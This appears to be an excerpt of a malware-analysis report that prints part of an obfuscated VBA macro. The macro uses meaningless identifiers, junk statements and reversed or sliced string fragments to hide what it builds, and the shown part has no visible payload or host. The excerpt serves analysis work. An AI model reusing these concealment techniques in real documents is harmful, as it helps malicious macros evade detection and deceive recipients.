jWiNOazOzwzBiQrUKmSpc.WGTjIdJcLXhzJfzoBIPaOXCbD.WfDTjozuActiSUEWnbUjH.WVkJZBYwDsjjHdZs
twOiVvWqvWskaHWTJIiiXPzWCY.wlNbzvkahsiB.OTdffNclKNzUqJTdBsbz.YFiuupqjobbHITDlRqpvPnYPGGlR
WijKSmtbQlfO = jzGEfqOvklXmFV + StrReverse(pPVTorn) + VNiqPskCmBfk
hbnlkNtGUHl = TooEYjIbVDd + Mid(WijKSmtbQlfO, VftFJfERMvZIIT, kYEhDNOZO) + pqjFRIKRmt
YvBEwzTCzFhbvwTNVNKAKFMaBDw.sVSuZwQJXiLdCAdYHOk.zuoEbthTiaCsAzK.nnCzjKqrBjwKboTnSoYzjO
jOzawbScEqwkULlcmE.CvuXruHPaMZMwYUWljktPjEtUcDwb.LltjMXlqFfpMsQfdAMzpztC.iTqBDPrIotBnTOM
kudEECqnOqbrzlhSjhBtjknqojYzP.KlzCFEQzGfcDnMnzJCLiElNTQAH.QYirYWfprzjdCmbVQdzaDoWVn.nZXjlEwdjiBkiQjzIMWijSK
CnDhjbBIEsiGRLLbjYFsUjzjtFj.zFzVPfdwBPtEhsj.iafwAuCHMRXWoWndvrIzsNrmh.aQiALcANzTajJFCr
ytgUBhjkgbksad = zIHJic + hbnlkNtGUHl + JpjhtVit
mUlcMGvVbYTDMhDwA.tiaEvnOqVsSTc.jUWlRPvrMliFJMzIflsQoPpi.wOVlCCHwiWrKSflICRoV
iCtMMhbMwRfoMSAaFJibJapFwN.HHlzANiUMbYpVj.mFMWFMkiwHFujDMoOzbTEKUi.dwowhTNuZoksbHtWZppvS
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.